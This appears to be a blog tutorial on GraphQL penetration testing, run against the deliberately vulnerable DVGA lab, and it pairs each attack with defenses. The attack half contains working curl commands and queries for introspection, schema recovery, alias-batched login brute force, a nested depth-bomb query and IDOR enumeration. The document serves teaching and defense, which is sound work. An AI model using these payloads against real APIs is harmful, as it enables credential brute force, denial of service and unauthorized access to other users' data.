Disclaimer: This article is for educational purposes and authorized security testing only. Run these techniques only against systems you own or have explicit written permission to test. Unauthorized testing is illegal in most jurisdictions.
Introduction / Overview
GraphQL has become the default API layer for many mobile and single-page applications. Unlike REST, a single endpoint (commonly /graphql, /api/graphql, or /v1/graphql) exposes the entire data graph, which both simplifies development and concentrates risk. The same flexibility that lets a client request exactly the fields it needs also lets an attacker enumerate the schema, abuse query nesting, and pivot through object references.
This post focuses on the advanced workflow: schema discovery via introspection, abuse of batching, bypassing or stress-testing depth limit controls, hunting IDOR (Insecure Direct Object Reference), and automating recon with graphql-cop. We finish with a Blue Team section weighted equally to the offensive content, because most of these issues are configuration problems, not zero-days.
How it works / Background
A GraphQL server resolves a query tree against resolver functions. Three properties make it a distinct attack surface:
- Introspection — GraphQL ships a meta-query system (
__schema,__type) that returns the full type system. If enabled in production, it hands the attacker a complete map of types, fields, mutations, and arguments. - No native rate semantics — one HTTP request can contain arbitrarily nested or aliased operations, so a single request can trigger thousands of resolver calls.
- Object references everywhere — resolvers frequently take an
idargument and fetch the object without re-checking the caller's authorization, which is the textbook precondition for IDOR.
These map to MITRE ATT&CK techniques such as T1190 (Exploit Public-Facing Application) and T1213 (Data from Information Repositories).
Prerequisites / Lab setup
Use a deliberately vulnerable target. Damn Vulnerable GraphQL Application (DVGA) is the standard lab.
# Spin up DVGA locally (authorized lab only)
docker pull dolevf/dvga
docker run -t --rm -p 5013:5013 -e WEB_HOST=0.0.0.0 dolevf/dvga
# DVGA is now on http://localhost:5013/graphqlBashTooling you will want on the box:
# graphql-cop: fast security auditor
pipx install graphql-cop
# clairvoyance: rebuild a schema even when introspection is disabled
pipx install clairvoyance
# InQL standalone CLI (also a Burp extension)
pipx install inqlBashA proxy such as Burp Suite or mitmproxy is useful to capture the real queries a mobile app sends; pull the endpoint and auth headers out of the app traffic first.
Walkthrough / PoC
1. Introspection
The first move is always introspection. If it is enabled, you get the schema for free:
curl -s -X POST http://localhost:5013/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"query{__schema{types{name fields{name}}}}"}' | jq .BashTo pull a full, tooling-friendly schema, use a complete introspection query or let InQL generate it:
inql -t http://localhost:5013/graphql -o dvga_schemaBashIf introspection returns errors like "GraphQL introspection is not allowed", do not give up — reconstruct the schema by brute-forcing field names with clairvoyance and a wordlist:
clairvoyance http://localhost:5013/graphql \
-w /usr/share/seclists/Discovery/Web-Content/graphql.txt \
-o recovered_schema.jsonBashError messages often leak field suggestions ("Did you mean email?"), which clairvoyance exploits to rebuild the type system without introspection.
2. Batching for brute force and DoS
GraphQL supports two batching styles. Array batching sends multiple operations in one HTTP request; alias batching runs the same field many times within one operation. Both defeat naive per-request rate limiting and are powerful for credential or OTP brute force:
# Alias-based batching: 100 login attempts in ONE request
curl -s -X POST http://localhost:5013/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"mutation{ a1:login(username:\"admin\",password:\"p1\"){token} a2:login(username:\"admin\",password:\"p2\"){token} }"}'BashArray batching looks like this:
[
{"query":"query{ systemHealth }"},
{"query":"query{ systemHealth }"},
{"query":"query{ systemHealth }"}
]JSONIf the server processes each element with no global limit, you have a rate-limit bypass and a potential amplification vector.
3. Depth limit and query cost
Deeply nested queries over cyclic relationships (for example Author -> posts -> author -> posts ...) can explode resolver work. Test whether a depth limit is enforced:
query DepthBomb {
pastes {
owner {
pastes {
owner {
pastes {
owner { name }
}
}
}
}
}
}GraphQLIf this returns data instead of a Query depth limit of N exceeded error, the server is missing depth and cost controls and is vulnerable to resource-exhaustion DoS.
4. IDOR
With the schema mapped, look for queries and mutations that accept an id (or uuid, pasteId, userId). Authenticate as a low-privilege user and request objects you should not own:
curl -s -X POST http://localhost:5013/graphql \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer <low-priv-token>' \
-d '{"query":"query{ paste(id: 1){ id title content owner{ name } } }"}'BashIterate the id value. If you can read another user's private paste, that is a confirmed IDOR. Mutations are higher impact — try editPaste(id: X, ...) or deletePaste(id: X) against objects belonging to other users. The same pattern appears in mobile backends, which is why I cover related capture workflows in Mobile API traffic interception and token handling in JWT attacks in practice.
5. Automate with graphql-cop
graphql-cop runs a battery of these checks (introspection, batching, field suggestions, depth, CSRF, alias overloading) and outputs a concise report:
graphql-cop -t http://localhost:5013/graphql -o table
# JSON for pipelines / CI
graphql-cop -t http://localhost:5013/graphql -o json | jq .BashUse this as a fast triage pass, then verify each finding manually before reporting it.
Mermaid diagram

The diagram shows the decision flow from endpoint discovery through schema recovery to IDOR and batching/depth testing.
Detection & Defense (Blue Team)
Defenses matter as much as the attacks above. Apply these controls:
- Disable introspection in production. In Apollo Server set
introspection: false; in graphene/Python remove the introspection middleware or block__schema/__typeat the gateway. Keep it on only in staging. - Enforce a depth limit and query cost analysis. Use libraries such as
graphql-depth-limit,graphql-cost-analysis, orgraphql-query-complexity(Node), orgraphenevalidation rules (Python). Reject queries past a sane depth (e.g. 7-10) and a cost budget. - Constrain batching. Cap array-batch size, or disable batching entirely if you do not need it. Apply rate limiting at the operation level, not just per HTTP request, so alias batching cannot bypass it.
- Disable field suggestions ("Did you mean …") in production to blunt clairvoyance-style schema recovery.
- Fix IDOR with authorization-in-resolver. Every resolver that fetches an object by id must re-check that the authenticated principal owns or may access it. Centralize this with field-level auth (e.g.
graphql-shield) rather than trusting the client. - Persisted queries / allowlists. Accept only pre-registered query hashes (Apollo Automatic Persisted Queries with an allowlist) so arbitrary attacker-crafted queries are rejected outright.
- Monitoring & detection. Log operation names, depth, and alias counts. Alert on introspection queries hitting production, on requests with unusually high alias/batch counts, and on rapid sequential
idenumeration. These map to ATT&CK T1190 and T1213; feed the signals into your SIEM.
A quick way to confirm your hardening is to re-run graphql-cop against staging and production and diff the results — production should report introspection, batching, and field suggestions as disabled.
Conclusion
GraphQL security testing rewards a methodical approach: recover the schema (introspection or clairvoyance), then exploit the structural weaknesses — batching, missing depth limits, and IDOR. Almost every finding traces back to a missing control that defenders can add cheaply: disable introspection, cap depth and batch size, and enforce authorization inside resolvers. Test offensively, then verify each control is actually present in production. For broader API recon methodology see API enumeration techniques.
References
- DVGA (Damn Vulnerable GraphQL Application): https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application
- graphql-cop: https://github.com/dolevf/graphql-cop
- clairvoyance: https://github.com/nikitastupin/clairvoyance
- InQL: https://github.com/doyensec/inql
- OWASP GraphQL Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html
- HackTricks – GraphQL: https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/graphql
- MITRE ATT&CK T1190: https://attack.mitre.org/techniques/T1190/
- MITRE ATT&CK T1213: https://attack.mitre.org/techniques/T1213/
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments